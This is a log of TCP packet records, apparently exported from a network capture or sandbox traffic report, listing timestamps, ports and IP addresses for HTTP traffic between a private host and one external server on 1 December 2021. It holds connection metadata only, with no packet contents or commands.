Dec 1, 2021 09:14:20.466556072 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466577053 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466594934 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466614962 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466634989 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466650009 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466675043 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466712952 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466751099 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466754913 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466788054 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466793060 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466820002 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466831923 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466850996 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466871023 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466890097 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466908932 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466947079 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466950893 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466985941 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466986895 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467025995 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467026949 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467067003 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467067957 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467103958 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467104912 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467143059 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467147112 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467185974 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467186928 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467225075 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467230082 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467263937 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467266083 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467305899 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467307091 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467346907 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467348099 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467387915 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467392921 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467425108 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467427969 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467466116 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467466116 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467508078 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.467508078 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.467550039 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525544882 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525579929 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525603056 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525625944 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525635004 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525650978 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525665045 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525676966 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525698900 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525702953 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525726080 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525736094 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525751114 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525774002 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525799990 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525808096 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525808096 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525831938 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525835037 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525854111 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525860071 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525882959 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525887012 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525898933 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525913000 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525938034 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525960922 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525962114 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.525986910 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.525998116 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526014090 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526020050 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526041031 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526043892 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526065111 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526068926 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526087999 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526092052 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526117086 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526132107 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526140928 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526151896 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526166916 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526190996 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526206017 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526216030 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526216030 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526242018 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526242018 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526268005 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526288986 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526293039 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526295900 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526318073 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526340961 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526341915 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526349068 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526362896 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526365995 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526390076 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526395082 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526415110 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526427031 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526441097 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526458979 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526464939 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526490927 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526500940 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526516914 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526523113 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526540041 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526562929 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526565075 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526591063 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.526599884 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.526995897 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.553790092 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.584969997 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585031986 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585072041 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585097075 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585109949 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585135937 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585153103 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585175037 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585191965 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585215092 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585232973 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585257053 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585273027 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585297108 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585313082 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585335016 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585354090 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585376978 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585393906 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585417986 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585432053 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585453987 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585470915 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585494041 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585508108 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585530996 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585546970 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585570097 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585587025 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585608959 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585623980 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585645914 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585663080 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585686922 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585701942 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585725069 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585741997 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585743904 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585781097 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585783958 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585820913 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585841894 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585860014 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585882902 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585901022 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585923910 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585937977 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585958958 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.585977077 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.585999966 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586016893 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586040020 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586055040 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586076021 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586093903 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586117029 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586138010 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586160898 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586178064 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586200953 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586220026 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586245060 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586258888 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586278915 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586294889 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586297989 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586338043 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586359978 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586374998 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586396933 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586414099 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586431980 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586452961 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586453915 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586492062 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586496115 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586529016 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586530924 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586569071 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586591005 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586607933 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586630106 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586647034 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586658955 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586684942 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586687088 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586724997 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.586750031 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.586765051 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645311117 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645374060 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645412922 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645436049 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645450115 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645473003 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645489931 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645518064 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645526886 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645529985 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645571947 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645598888 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645606995 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645612955 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645652056 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645675898 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645692110 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645716906 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645730972 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645766020 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645773888 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645800114 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645814896 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645840883 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645854950 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645895004 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645910978 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645936012 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645944118 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.645975113 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.645994902 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646014929 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646028996 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646054983 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646064997 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646095037 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646100998 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646136045 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646142006 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646176100 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646183968 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646215916 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646233082 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646255970 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646267891 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646294117 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646310091 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646334887 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646336079 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646373987 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646404028 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646410942 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646411896 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646450043 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646478891 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646487951 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646490097 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646529913 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646559000 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646570921 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646600008 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646610022 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646610975 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646651030 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646677017 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646688938 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646717072 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646728039 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646747112 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646770954 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646771908 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646811962 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646812916 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646852016 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646883011 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646892071 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646894932 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646934032 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646949053 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.646975994 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.646977901 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.647016048 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.647017956 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.647054911 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.647062063 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.647095919 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.647104025 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.647181034 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.702434063 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706202030 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706264973 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706305027 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706306934 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706337929 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706346989 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706362963 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706387997 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706420898 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706429005 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706434011 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706469059 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706497908 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706510067 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706537008 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706551075 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706592083 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706630945 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706667900 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706706047 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706743956 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706783056 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706820965 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706859112 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706883907 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706893921 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706897974 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706902027 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706907988 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706912994 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706918955 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.706964016 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.706968069 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707015991 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.707017899 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.707077026 CET	80	49797	95.213.165.249	192.168.2.4
